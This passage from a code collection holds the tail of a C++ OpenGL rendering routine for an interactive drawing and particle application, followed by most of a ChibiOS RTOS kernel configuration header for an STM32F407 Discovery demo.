activeDrawingStroke ({$config:track_replay[1]}) ({$config:tracks_BrushID[1]}) ({$config:tracks_RadiusX[1]}) ({$config:tracks_RadiusY[1]}) ({$config:tracks_x[1]}) ({$config:tracks_y[1]})"/> ///////////////////////////////////////////////////////////////////////// // DRAWING SHADER UNIFORM VARIABLES glUseProgram(shader_Drawing_programme); // drawing off and drawing point or line glUniform4f(uniform_Drawing_fs_4fv_W_H_drawingStart_drawingStroke , (GLfloat)singleWindowWidth , (GLfloat)windowHeight , (GLfloat)drawing_start_frame , (GLfloat)activeDrawingStroke ); // acceleration center and CA subtype // in case of interpolation between CA1 and CA2 // if( !BrokenInterpolationVar[ _CA1_CA2_weight ] ) { // if( CA1_CA2_weight < 1.0 && CA1_CA2_weight > 0.0 ) { // float randVal = (float)rand() / (float)RAND_MAX; // if( randVal <= CA1_CA2_weight ) { //CAType = CA1TypeSubType / 10; //CASubType = CA1TypeSubType % 10; // } // else { //CAType = CA2TypeSubType / 10; //CASubType = CA2TypeSubType % 10; // } // } // else if( CA1_CA2_weight >= 1.0 ) { // CAType = CA1TypeSubType / 10; // CASubType = CA1TypeSubType % 10; // } // else if( CA1_CA2_weight <= 0.0 ) { // CAType = CA2TypeSubType / 10; // CASubType = CA2TypeSubType % 10; // } // // printf("CA type/subtype %d-%d\n" , CAType , CASubType ); // } glUniform4f(uniform_Drawing_fs_4fv_CAType_CASubType_partAccCenter , (float)CAType , (float)CASubType , partAccCenter_0 , partAccCenter_1 ); // particle acceleration glUniform4f(uniform_Drawing_fs_4fv_partMode_partAcc_clearLayer_void , (GLfloat)particleMode, part_acc_factor + particle_acc_attack, (GLfloat)isClearAllLayers , 0.0f ); // track decay glUniform3f(uniform_Drawing_fs_3fv_trackdecay_CAstep_initCA , trackdecay_0*trackdecay_sign_0 , (GLfloat)CAstep , initCA ); // one shot CA launching if( initCA ) { initCA = 0.0f; } // CA decay, flash glUniform4f(uniform_Drawing_fs_4fv_flashPart_isBeat_void_clearCA , (GLfloat)flashPart, (GLfloat)isBeat , 0.0f , (GLfloat)isClearCA ); // CA type, frame no, flashback and current track glUniform4f(uniform_Drawing_fs_4fv_CAdecay_frameno_partTexture_currentTrack , CAdecay*CAdecay_sign, (GLfloat)FrameNo, particle_texture_ID, (GLfloat)currentTrack); // flash back & CA coefs glUniform4f(uniform_Drawing_fs_4fv_flashBackCoef_flashCACoefs, flashBack_weight, flashCA_weights[0], flashCA_weights[1], flashCA_weights[2] ); // printf("flashCA_weights %.2f %.2f %.2f \n",flashCA_weights[0], flashCA_weights[1], flashCA_weights[2] ); // pen position storage on the two quads glUniform3f(uniform_Drawing_fs_3fv_mouseTracks_replay , (track_replay_0 ? 1.0f : -1.0f), (-1.0f), (-1.0f)); glUniform4fv(uniform_Drawing_fs_4fv_mouseTracks_x , 1 , tracks_x); glUniform4fv(uniform_Drawing_fs_4fv_mouseTracks_y , 1 , tracks_y); glUniform4fv(uniform_Drawing_fs_4fv_mouseTracks_x_prev , 1 , tracks_x_prev); glUniform4fv(uniform_Drawing_fs_4fv_mouseTracks_y_prev , 1 , tracks_y_prev); // pen color glUniform3fv(uniform_Drawing_fs_3fv_mouseTracks_Color_r , 1 , tracks_Color_r); glUniform3fv(uniform_Drawing_fs_3fv_mouseTracks_Color_g , 1 , tracks_Color_g); glUniform3fv(uniform_Drawing_fs_3fv_mouseTracks_Color_b , 1 , tracks_Color_b); glUniform3fv(uniform_Drawing_fs_3fv_mouseTracks_Color_a , 1 , tracks_Color_a); // pen brush & size glUniform3f(uniform_Drawing_fs_3fv_mouseTracks_BrushID , (GLfloat)tracks_BrushID[0] , (GLfloat)tracks_BrushID[1] , (GLfloat)tracks_BrushID[2] ); // printf("Current track %d BrushID %.2f %.2f %.2f\n" , currentTrack , tracks_BrushID[0] , tracks_BrushID[1] , tracks_BrushID[2] ); glUniform4fv(uniform_Drawing_fs_4fv_mouseTracks_RadiusX , 1 , tracks_RadiusX); glUniform4fv(uniform_Drawing_fs_4fv_mouseTracks_RadiusY , 1 , tracks_RadiusY); ///////////////////////////////////////////////////////////////////////// // COMPOSITION SHADER UNIFORM VARIABLES glUseProgram(shader_Composition_programme); // CA weight glUniform3f(uniform_Composition_fs_3fv_width_height_CAweight , (GLfloat)singleWindowWidth , (GLfloat)windowHeight , CAweight ); // track weight glUniform3f(uniform_Composition_fs_3fv_trackweight , trackweight_0 , 0.0f , 0.0f ); // message transparency & echo glUniform4f(uniform_Composition_fs_4fv_messageTransparency_echo_echoNeg_invert , messageTransparency , echo , echoNeg ,(invertAllLayers ? 1.0f : -1.0f) ); ///////////////////////////////////////////////////////////////////////// // FINAL SHADER UNIFORM VARIABLES glUseProgram(shader_Final_programme); glUniform2f(uniform_Final_fs_2fv_transparency_scale, blendTransp, scale ); // hoover cursor glUniform4f(uniform_Final_fs_4fv_xy_frameno_cursorSize , (GLfloat)CurrentCursorHooverPos_x, (GLfloat)CurrentCursorHooverPos_y, (GLfloat)FrameNo, (GLfloat)PG_EnvironmentNode->cursorSize); glUniform2f(uniform_Final_fs_2fv_tablet1xy , xy_hoover_tablet1[0] , xy_hoover_tablet1[1] ); ///////////////////////////////////////////////////////////////////////// // SENSOR SHADER UNIFORM VARIABLES glUseProgram(shader_Sensor_programme); //glUniform2f(uniform_Sensor_fs_2fv_frameno_invert, // (GLfloat)FrameNo, (invertAllLayers ? 1.0f : -1.0f) ); if( sensorFollowMouse_onOff && (mouse_x > 0 || mouse_y > 0) ) { sensorPositions[ 3 * currentSensor ] = mouse_x; sensorPositions[ 3 * currentSensor + 1 ] = windowHeight - mouse_y; } /////////////////////////////////////////////////////////////////////// // saves mouse values mouse_x_prev = mouse_x; mouse_y_prev = mouse_y; /////////////////////////////////////////////////////////////////////// // flash reset: restores flash to 0 so that // it does not stay on more than one frame for( int indtrack = 0 ; indtrack < PG_NB_TRACKS ; indtrack++ ) { flashCA_weights[indtrack] = 0; } if( flashPart > 0 ) { flashPart -= 1; } flashBack_weight = 0; // ///////////////////////// // clear layer reset clearAllLayers = false; // clear CA reset isClearCA = 0; // clear layer reset isClearAllLayers = 0; } void pg_draw_scene( DrawingMode mode ) { // ******************** Svg output ******************** if( mode == _Svg ) { sprintf( currentFilename , "%s%s.%07d.svg" , PG_EnvironmentNode->Svg_shot_dir_name , PG_EnvironmentNode->Svg_file_name , FrameNo / PG_EnvironmentNode->stepSvg ); fprintf( fileLog , "Snapshot svg step %d (%s)\n" , FrameNo / PG_EnvironmentNode->stepSvg , currentFilename ); writesvg(currentFilename, singleWindowWidth , windowHeight ); } // ******************** Png output ******************** else if( mode == _Png ) { sprintf( currentFilename , "%s%s.%07d.png" , PG_EnvironmentNode->Png_shot_dir_name , PG_EnvironmentNode->Png_file_name , FrameNo / PG_EnvironmentNode->stepPng ); fprintf( fileLog , "Snapshot png step %d (%s)\n" , FrameNo / PG_EnvironmentNode->stepPng , currentFilename ); glReadBuffer(GL_FRONT); writepng(currentFilename, 0,0, singleWindowWidth , windowHeight ); } // ******************** Jpg output ******************** else if( mode == _Jpg ) { sprintf( currentFilename , "%s%s.%07d.jpg" , PG_EnvironmentNode->Jpg_shot_dir_name , PG_EnvironmentNode->Jpg_file_name , FrameNo / PG_EnvironmentNode->stepJpg ); fprintf( fileLog , "Snapshot jpg step %d (%s)\n" , FrameNo / PG_EnvironmentNode->stepJpg , currentFilename ); printf( "Snapshot jpg step %d (%s)\n" , FrameNo / PG_EnvironmentNode->stepJpg , currentFilename ); glReadBuffer(GL_FRONT); writejpg(currentFilename, 0,0, singleWindowWidth , windowHeight ,75); } // ******************** Video output ******************** #ifdef PG_HAVE_FFMPEG else if( mode == _Video && PG_EnvironmentNode->audioVideoOutData ) { glReadBuffer(GL_BACK); PG_EnvironmentNode->audioVideoOutData ->write_frame(); } #endif // ******************** interactive output ******************** // ******************** (OpenGL or evi3d) ******************** else if( mode == _Render ) { ////////////////////////////////////////////////// // SCENE UPDATE pg_update_scene(); printOglError( 51 ); ////////////////////////////////////////////////// // PASS #1: PING PONG DRAWING // sets viewport to single window glViewport (0, 0, singleWindowWidth , windowHeight ); // ping pong output and input FBO bindings // glBindFramebuffer(GL_READ_FRAMEBUFFER, FBO_localColor_grayCA_tracks[(FrameNo % PG_NB_MEMORIZED_PASS)]); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, FBO_localColor_grayCA_tracks[((FrameNo + 1) % PG_NB_MEMORIZED_PASS)]); // output buffer cleanup glDisable( GL_DEPTH_TEST ); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glClearColor( 0.0 , 0.0 , 0.0 , 1.0 ); //////////////////////////////////////// // activate shaders and sets uniform variable values glUseProgram (shader_Drawing_programme); glBindVertexArray (quadDraw_vao); glUniformMatrix4fv(uniform_Drawing_vp_proj, 1, GL_FALSE, projMatrix); glUniformMatrix4fv(uniform_Drawing_vp_view, 1, GL_FALSE, viewMatrix); glUniformMatrix4fv(uniform_Drawing_vp_model, 1, GL_FALSE, modelMatrix); // texture unit location glUniform1i(uniform_Drawing_texture_fs_decal, 0); glUniform1i(uniform_Drawing_texture_fs_lookupTable1, 1); glUniform1i(uniform_Drawing_texture_fs_lookupTable2, 2); glUniform1i(uniform_Drawing_texture_fs_lookupTable3, 3); glUniform1i(uniform_Drawing_texture_fs_lookupTable4, 4); glUniform1i(uniform_Drawing_texture_fs_lookupTable5, 5); glUniform1i(uniform_Drawing_texture_fs_lookupTable6, 6); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_S , GL_CLAMP ); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_T, GL_CLAMP ); // 3-cycle ping-pong localColor step n (FBO attachment 1) glActiveTexture(GL_TEXTURE0 + 0); glBindTexture(GL_TEXTURE_RECTANGLE, FBO_texID_localColor_grayCA_tracks[(FrameNo % PG_NB_MEMORIZED_PASS) * NB_ATTACHMENTS]); // 3-cycle ping-pong speed/position of particles step n step n (FBO attachment 2) glActiveTexture(GL_TEXTURE0 + 1); glBindTexture(GL_TEXTURE_RECTANGLE, FBO_texID_localColor_grayCA_tracks[(FrameNo % PG_NB_MEMORIZED_PASS) * NB_ATTACHMENTS + 1]); // 3-cycle ping-pong CA step n+2 (or n-1) (FBO attachment 1) glActiveTexture(GL_TEXTURE0 + 2); glBindTexture(GL_TEXTURE_RECTANGLE, FBO_texID_localColor_grayCA_tracks[((FrameNo + 2) % PG_NB_MEMORIZED_PASS) * NB_ATTACHMENTS + 2]); // 3-cycle ping-pong CA step n (FBO attachment 3) glActiveTexture(GL_TEXTURE0 + 3); glBindTexture(GL_TEXTURE_RECTANGLE, FBO_texID_localColor_grayCA_tracks[(FrameNo % PG_NB_MEMORIZED_PASS) * NB_ATTACHMENTS + 2]); glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_WRAP_S , GL_REPEAT ); glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT ); // pen patterns glActiveTexture(GL_TEXTURE0 + 4); glBindTexture(GL_TEXTURE_2D, Pen_texture_2D ); // particle acceleration texture glActiveTexture(GL_TEXTURE0 + 5); glBindTexture(GL_TEXTURE_3D, Particle_acceleration_texture_3D ); // data tables for the CA glActiveTexture(GL_TEXTURE0 + 6); glBindTexture(GL_TEXTURE_RECTANGLE, pg_CA_data_table_ID ); // draw points from the currently bound VAO with current in-use shader glDrawArrays (GL_TRIANGLES, 0, 3 * nbFaces); printOglError( 52 ); ////////////////////////////////////////////////// // PASS #2: COMPOSITION + PING-PONG ECHO // binds input to last output // glBindFramebuffer(GL_READ_FRAMEBUFFER, FBO_localColor_grayCA_tracks[((FrameNo + 1) % PG_NB_MEMORIZED_PASS)]); ///////////////////////////////////////////////////////// // draws the main rectangular surface with // outputs inside a buffer that can be used for accumulation if( FrameNo > 0 ) { glBindFramebuffer(GL_DRAW_FRAMEBUFFER, FBO_snapshot[(FrameNo % 2)]); // drawing memory on odd and even frames for echo and sensors } // output video buffer clean-up glClear (GL_COLOR_BUFFER_BIT); glClearColor( 0.0 , 0.0 , 0.0 , 1.0 ); //////////////////////////////////////// // activate shaders and sets uniform variable values glUseProgram (shader_Composition_programme); glBindVertexArray (quadDraw_vao); glUniformMatrix4fv(uniform_Composition_vp_proj, 1, GL_FALSE, projMatrix); glUniformMatrix4fv(uniform_Composition_vp_view, 1, GL_FALSE, viewMatrix); glUniformMatrix4fv(uniform_Composition_vp_model, 1, GL_FALSE, modelMatrix); // texture unit location glUniform1i(uniform_Composition_texture_fs_decal, 0); glUniform1i(uniform_Composition_texture_fs_lookupTable1, 1); glUniform1i(uniform_Composition_texture_fs_lookupTable2, 2); glUniform1i(uniform_Composition_texture_fs_lookupTable3, 3); glUniform1i(uniform_Composition_texture_fs_lookupTable4, 4); glUniform1i(uniform_Composition_texture_fs_lookupTable_font, 5); glUniform1i(uniform_Composition_texture_fs_lookupTable_message, 6); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_S , GL_CLAMP ); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_T, GL_CLAMP ); // 3-cycle ping-pong localColor step n + 1 (FBO attachment 1) glActiveTexture(GL_TEXTURE0 + 0); glBindTexture(GL_TEXTURE_RECTANGLE, FBO_texID_localColor_grayCA_tracks[((FrameNo + 1) % PG_NB_MEMORIZED_PASS) * NB_ATTACHMENTS]); // 3-cycle ping-pong CA step n + 1 (FBO attachment 3) glActiveTexture(GL_TEXTURE0 + 1); glBindTexture(GL_TEXTURE_RECTANGLE, FBO_texID_localColor_grayCA_tracks[((FrameNo + 1) % PG_NB_MEMORIZED_PASS) * NB_ATTACHMENTS + 2]); // 3-cycle ping-pong track 1 step n + 1 (FBO attachment 4) glActiveTexture(GL_TEXTURE0 + 2); glBindTexture(GL_TEXTURE_RECTANGLE, FBO_texID_localColor_grayCA_tracks[((FrameNo + 1) % PG_NB_MEMORIZED_PASS) * NB_ATTACHMENTS + 3]); // 3-cycle ping-pong track 2 step n + 1 (FBO attachment 5) glActiveTexture(GL_TEXTURE0 + 3); glBindTexture(GL_TEXTURE_RECTANGLE, FBO_texID_localColor_grayCA_tracks[((FrameNo + 1) % PG_NB_MEMORIZED_PASS) * NB_ATTACHMENTS + 4]); // preceding snapshot glActiveTexture(GL_TEXTURE0 + 4); glBindTexture(GL_TEXTURE_RECTANGLE, FBO_texID_snapshot[(std::max( 0 , (FrameNo + 1)) % 2)] ); // drawing memory on odd and even frames for echo and sensors // font texture glActiveTexture(GL_TEXTURE0 + 5); glBindTexture(GL_TEXTURE_RECTANGLE, Font_texture_Rectangle); // font texture glActiveTexture(GL_TEXTURE0 + 6); glBindTexture(GL_TEXTURE_RECTANGLE, pg_screenMessageBitmap_ID); // draw points from the currently bound VAO with current in-use shader glDrawArrays (GL_TRIANGLES, 0, 3 * nbFaces); // ///////////////////////// // read sensor values and send messages glBindFramebuffer(GL_READ_FRAMEBUFFER, FBO_snapshot[(std::max( 0 , FrameNo) % 2)]); // drawing memory on odd and even frames for echo and sensors if( FrameNo % 10 > 0 ) { readSensors(); } glBindFramebuffer(GL_READ_FRAMEBUFFER, 0 ); ////////////////////////////////////////////////// // PASS #3: DISPLAY // unbind output FBO glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0); // sets viewport to double window glViewport (0, 0, doubleWindowWidth , windowHeight ); glDrawBuffer(GL_BACK); // output video buffer clean-up glClear (GL_COLOR_BUFFER_BIT); glClearColor( 0.0 , 0.0 , 0.0 , 1.0 ); // printf("rendering\n" ); //////////////////////////////////////// // drawing last quad // activate shaders and sets uniform variable values glUseProgram (shader_Final_programme); glBindVertexArray (quadFinal_vao); glUniformMatrix4fv(uniform_Final_vp_proj, 1, GL_FALSE, doubleProjMatrix); glUniformMatrix4fv(uniform_Final_vp_view, 1, GL_FALSE, viewMatrix); glUniformMatrix4fv(uniform_Final_vp_model, 1, GL_FALSE, modelMatrix); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_S , GL_CLAMP ); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_T, GL_CLAMP ); // texture unit location glUniform1i(uniform_Final_texture_fs_decal, 0); // previous pass output glActiveTexture(GL_TEXTURE0 + 0); glBindTexture(GL_TEXTURE_RECTANGLE, FBO_texID_snapshot[(FrameNo % 2)]); // texture unit location glUniform1i(uniform_Final_texture_fs_lookupTable1, 1); // previous pass output glActiveTexture(GL_TEXTURE0 + 1); glBindTexture(GL_TEXTURE_RECTANGLE, LYMlogo_texture_rectangle ); // draw points from the currently bound VAO with current in-use shader glDrawArrays (GL_TRIANGLES, 0, 3 * nbFaces); //} printOglError( 54 ); //////////////////////////////////////// // drawing sensors // activate transparency glEnable( GL_BLEND ); glBlendEquationSeparate(GL_FUNC_ADD, GL_FUNC_ADD); glBlendFuncSeparate(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ZERO); // activate shaders and sets uniform variable values glUseProgram (shader_Sensor_programme); glBindVertexArray (quadSensor_vao); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_S , GL_CLAMP ); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_T, GL_CLAMP ); // texture unit location glUniform1i(uniform_Sensor_texture_fs_decal, 0); // previous pass output glActiveTexture(GL_TEXTURE0 + 0); glBindTexture(GL_TEXTURE_RECTANGLE, Sensor_texture_rectangle ); glUniformMatrix4fv(uniform_Sensor_vp_view, 1, GL_FALSE, viewMatrix); glUniformMatrix4fv(uniform_Sensor_vp_proj, 1, GL_FALSE, doubleProjMatrix); // sensor rendering for( int indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { if( sensor_onOff[indSens] ) { modelMatrixSensor[12] = (sensorPositions[ 3 * indSens ] + 0.5f - singleWindowWidth/2.0f) * scale + singleWindowWidth/2.0f; modelMatrixSensor[13] = (sensorPositions[ 3 * indSens + 1] + 0.5f - windowHeight/2.0f) * scale + windowHeight/2.0f; modelMatrixSensor[14] = sensorPositions[ 3 * indSens + 2]; glUniformMatrix4fv(uniform_Sensor_vp_model, 1, GL_FALSE, modelMatrixSensor); glUniform4f(uniform_Sensor_fs_4fv_onOff_isCurrentSensor_isFollowMouse_transparency , (sensor_onOff[indSens] ? 1.0f : -1.0f) , (indSens == currentSensor ? 1.0f : -1.0f) , (sensorFollowMouse_onOff ? 1.0f : -1.0f) , blendTransp ); // draw points from the currently bound VAO with current in-use shader glDrawArrays (GL_TRIANGLES, 0, 3 * nbFaces); } else { // incremental sensor activation every 10 sec. if( sensor_activation == 5 && CurrentClockTime - sensor_last_activation_time > 10 ) { sensor_last_activation_time = CurrentClockTime; sensor_onOff[indSens] = true; } } } // duplicates the sensors in case of double window if( PG_EnvironmentNode->double_window ) { for( int indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { if( sensor_onOff[indSens] ) { modelMatrixSensor[12] = (sensorPositions[ 3 * indSens ] + 0.5f - singleWindowWidth/2.0f) * scale + 3 * singleWindowWidth/2.0f; modelMatrixSensor[13] = (sensorPositions[ 3 * indSens + 1] + 0.5f - windowHeight/2.0f) * scale + windowHeight/2.0f; modelMatrixSensor[14] = sensorPositions[ 3 * indSens + 2]; glUniformMatrix4fv(uniform_Sensor_vp_model, 1, GL_FALSE, modelMatrixSensor); glUniform4f(uniform_Sensor_fs_4fv_onOff_isCurrentSensor_isFollowMouse_transparency , (sensor_onOff[indSens] ? 1.0f : -1.0f) , (indSens == currentSensor ? 1.0f : -1.0f) , (sensorFollowMouse_onOff ? 1.0f : -1.0f) , blendTransp ); // draw points from the currently bound VAO with current in-use shader glDrawArrays (GL_TRIANGLES, 0, 3 * nbFaces); } } } printOglError( 595 ); glDisable( GL_BLEND ); } // // flushes OpenGL commands // glFlush(); }
gpl-3.0
oliverlee/ChibiOS
demos/STM32/CMSIS-STM32F407-DISCOVERY/chconf.h
17081
/* ChibiOS - Copyright (C) 2006..2015 Giovanni Di Sirio Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * @file templates/chconf.h * @brief Configuration file template. * @details A copy of this file must be placed in each project directory, it * contains the application specific kernel settings. * * @addtogroup config * @details Kernel related settings and hooks. * @{ */ #ifndef _CHCONF_H_ #define _CHCONF_H_ #define _CHIBIOS_RT_CONF_ /*===========================================================================*/ /** * @name System timers settings * @{ */ /*===========================================================================*/ /** * @brief System time counter resolution. * @note Allowed values are 16 or 32 bits. */ #define CH_CFG_ST_RESOLUTION 32 /** * @brief System tick frequency. * @details Frequency of the system timer that drives the system ticks. This * setting also defines the system tick time unit. */ #define CH_CFG_ST_FREQUENCY 1000 /** * @brief Time delta constant for the tick-less mode. * @note If this value is zero then the system uses the classic * periodic tick. This value represents the minimum number * of ticks that is safe to specify in a timeout directive. * The value one is not valid, timeouts are rounded up to * this value. */ #define CH_CFG_ST_TIMEDELTA 0 /** @} */ /*===========================================================================*/ /** * @name Kernel parameters and options * @{ */ /*===========================================================================*/ /** * @brief Round robin interval. * @details This constant is the number of system ticks allowed for the * threads before preemption occurs. Setting this value to zero * disables the preemption for threads with equal priority and the * round robin becomes cooperative. Note that higher priority * threads can still preempt, the kernel is always preemptive. * @note Disabling the round robin preemption makes the kernel more compact * and generally faster. * @note The round robin preemption is not supported in tickless mode and * must be set to zero in that case. */ #define CH_CFG_TIME_QUANTUM 0 /** * @brief Managed RAM size. * @details Size of the RAM area to be managed by the OS. If set to zero * then the whole available RAM is used. The core memory is made * available to the heap allocator and/or can be used directly through * the simplified core memory allocator. * * @note In order to let the OS manage the whole RAM the linker script must * provide the @p __heap_base__ and @p __heap_end__ symbols. * @note Requires @p CH_CFG_USE_MEMCORE. */ #define CH_CFG_MEMCORE_SIZE 0 /** * @brief Idle thread automatic spawn suppression. * @details When this option is activated the function @p chSysInit() * does not spawn the idle thread. The application @p main() * function becomes the idle thread and must implement an * infinite loop. */ #define CH_CFG_NO_IDLE_THREAD FALSE /** @} */ /*===========================================================================*/ /** * @name Performance options * @{ */ /*===========================================================================*/ /** * @brief OS optimization. * @details If enabled then time efficient rather than space efficient code * is used when two possible implementations exist. * * @note This is not related to the compiler optimization options. * @note The default is @p TRUE. */ #define CH_CFG_OPTIMIZE_SPEED TRUE /** @} */ /*===========================================================================*/ /** * @name Subsystem options * @{ */ /*===========================================================================*/ /** * @brief Time Measurement APIs. * @details If enabled then the time measurement APIs are included in * the kernel. * * @note The default is @p TRUE. */ #define CH_CFG_USE_TM TRUE /** * @brief Threads registry APIs. * @details If enabled then the registry APIs are included in the kernel. * * @note The default is @p TRUE. */ #define CH_CFG_USE_REGISTRY TRUE /** * @brief Threads synchronization APIs. * @details If enabled then the @p chThdWait() function is included in * the kernel. * * @note The default is @p TRUE. */ #define CH_CFG_USE_WAITEXIT TRUE /** * @brief Semaphores APIs. * @details If enabled then the Semaphores APIs are included in the kernel. * * @note The default is @p TRUE. */ #define CH_CFG_USE_SEMAPHORES TRUE /** * @brief Semaphores queuing mode. * @details If enabled then the threads are enqueued on semaphores by * priority rather than in FIFO order. * * @note The default is @p FALSE. Enable this if you have special * requirements. * @note Requires @p CH_CFG_USE_SEMAPHORES. */ #define CH_CFG_USE_SEMAPHORES_PRIORITY FALSE /** * @brief Mutexes APIs. * @details If enabled then the mutexes APIs are included in the kernel. * * @note The default is @p TRUE. */ #define CH_CFG_USE_MUTEXES TRUE /** * @brief Enables recursive behavior on mutexes. * @note Recursive mutexes are heavier and have an increased * memory footprint. * * @note The default is @p FALSE. * @note Requires @p CH_CFG_USE_MUTEXES. */ #define CH_CFG_USE_MUTEXES_RECURSIVE FALSE /** * @brief Conditional Variables APIs. * @details If enabled then the conditional variables APIs are included * in the kernel. * * @note The default is @p TRUE. * @note Requires @p CH_CFG_USE_MUTEXES. */ #define CH_CFG_USE_CONDVARS TRUE /** * @brief Conditional Variables APIs with timeout. * @details If enabled then the conditional variables APIs with timeout * specification are included in the kernel. * * @note The default is @p TRUE. * @note Requires @p CH_CFG_USE_CONDVARS. */ #define CH_CFG_USE_CONDVARS_TIMEOUT TRUE /** * @brief Events Flags APIs. * @details If enabled then the event flags APIs are included in the kernel. * * @note The default is @p TRUE. */ #define CH_CFG_USE_EVENTS TRUE /** * @brief Events Flags APIs with timeout. * @details If enabled then the events APIs with timeout specification * are included in the kernel. * * @note The default is @p TRUE. * @note Requires @p CH_CFG_USE_EVENTS. */ #define CH_CFG_USE_EVENTS_TIMEOUT TRUE /** * @brief Synchronous Messages APIs. * @details If enabled then the synchronous messages APIs are included * in the kernel. * * @note The default is @p TRUE. */ #define CH_CFG_USE_MESSAGES TRUE /** * @brief Synchronous Messages queuing mode. * @details If enabled then messages are served by priority rather than in * FIFO order. * * @note The default is @p FALSE. Enable this if you have special * requirements. * @note Requires @p CH_CFG_USE_MESSAGES. */ #define CH_CFG_USE_MESSAGES_PRIORITY FALSE /** * @brief Mailboxes APIs. * @details If enabled then the asynchronous messages (mailboxes) APIs are * included in the kernel. * * @note The default is @p TRUE. * @note Requires @p CH_CFG_USE_SEMAPHORES. */ #define CH_CFG_USE_MAILBOXES TRUE /** * @brief I/O Queues APIs. * @details If enabled then the I/O queues APIs are included in the kernel. * * @note The default is @p TRUE. */ #define CH_CFG_USE_QUEUES TRUE /** * @brief Core Memory Manager APIs. * @details If enabled then the core memory manager APIs are included * in the kernel. * * @note The default is @p TRUE. */ #define CH_CFG_USE_MEMCORE TRUE /** * @brief Heap Allocator APIs. * @details If enabled then the memory heap allocator APIs are included * in the kernel. * * @note The default is @p TRUE. * @note Requires @p CH_CFG_USE_MEMCORE and either @p CH_CFG_USE_MUTEXES or * @p CH_CFG_USE_SEMAPHORES. * @note Mutexes are recommended. */ #define CH_CFG_USE_HEAP TRUE /** * @brief Memory Pools Allocator APIs. * @details If enabled then the memory pools allocator APIs are included * in the kernel. * * @note The default is @p TRUE. */ #define CH_CFG_USE_MEMPOOLS TRUE /** * @brief Dynamic Threads APIs. * @details If enabled then the dynamic threads creation APIs are included * in the kernel. * * @note The default is @p TRUE. * @note Requires @p CH_CFG_USE_WAITEXIT. * @note Requires @p CH_CFG_USE_HEAP and/or @p CH_CFG_USE_MEMPOOLS. */ #define CH_CFG_USE_DYNAMIC TRUE /** @} */ /*===========================================================================*/ /** * @name Debug options * @{ */ /*===========================================================================*/ /** * @brief Debug option, kernel statistics. * * @note The default is @p FALSE. */ #define CH_DBG_STATISTICS FALSE /** * @brief Debug option, system state check. * @details If enabled the correct call protocol for system APIs is checked * at runtime. * * @note The default is @p FALSE. */ #define CH_DBG_SYSTEM_STATE_CHECK FALSE /** * @brief Debug option, parameters checks. * @details If enabled then the checks on the API functions input * parameters are activated. * * @note The default is @p FALSE. */ #define CH_DBG_ENABLE_CHECKS FALSE /** * @brief Debug option, consistency checks. * @details If enabled then all the assertions in the kernel code are * activated. This includes consistency checks inside the kernel, * runtime anomalies and port-defined checks. * * @note The default is @p FALSE. */ #define CH_DBG_ENABLE_ASSERTS FALSE /** * @brief Debug option, trace buffer. * @details If enabled then the context switch circular trace buffer is * activated. * * @note The default is @p CH_DBG_TRACE_MASK_NONE. */ #define CH_DBG_TRACE_MASK CH_DBG_TRACE_MASK_NONE /** * @brief Trace buffer entries. * @note The trace buffer is only allocated if @p CH_DBG_TRACE_MASK is * different from @p CH_DBG_TRACE_MASK_NONE. */ #define CH_DBG_TRACE_BUFFER_SIZE 128 /** * @brief Debug option, stack checks. * @details If enabled then a runtime stack check is performed. * * @note The default is @p FALSE. * @note The stack check is performed in a architecture/port dependent way. * It may not be implemented or some ports. * @note The default failure mode is to halt the system with the global * @p panic_msg variable set to @p NULL. */ #define CH_DBG_ENABLE_STACK_CHECK FALSE /** * @brief Debug option, stacks initialization. * @details If enabled then the threads working area is filled with a byte * value when a thread is created. This can be useful for the * runtime measurement of the used stack. * * @note The default is @p FALSE. */ #define CH_DBG_FILL_THREADS FALSE /** * @brief Debug option, threads profiling. * @details If enabled then a field is added to the @p thread_t structure that * counts the system ticks occurred while executing the thread. * * @note The default is @p FALSE. * @note This debug option is not currently compatible with the * tickless mode. */ #define CH_DBG_THREADS_PROFILING TRUE /** @} */ /*===========================================================================*/ /** * @name Kernel hooks * @{ */ /*===========================================================================*/ /** * @brief Threads descriptor structure extension. * @details User fields added to the end of the @p thread_t structure. */ #define CH_CFG_THREAD_EXTRA_FIELDS \ /* Add threads custom fields here.*/ /** * @brief Threads initialization hook. * @details User initialization code added to the @p chThdInit() API. * * @note It is invoked from within @p chThdInit() and implicitly from all * the threads creation APIs. */ #define CH_CFG_THREAD_INIT_HOOK(tp) { \ /* Add threads initialization code here.*/ \ } /** * @brief Threads finalization hook. * @details User finalization code added to the @p chThdExit() API. */ #define CH_CFG_THREAD_EXIT_HOOK(tp) { \ /* Add threads finalization code here.*/ \ } /** * @brief Context switch hook. * @details This hook is invoked just before switching between threads. */ #define CH_CFG_CONTEXT_SWITCH_HOOK(ntp, otp) { \ /* Context switch code here.*/ \ } /** * @brief ISR enter hook. */ #define CH_CFG_IRQ_PROLOGUE_HOOK() { \ /* IRQ prologue code here.*/ \ } /** * @brief ISR exit hook. */ #define CH_CFG_IRQ_EPILOGUE_HOOK() { \ /* IRQ epilogue code here.*/ \ } /** * @brief Idle thread enter hook. * @note This hook is invoked within a critical zone, no OS functions * should be invoked from here. * @note This macro can be used to activate a power saving mode. 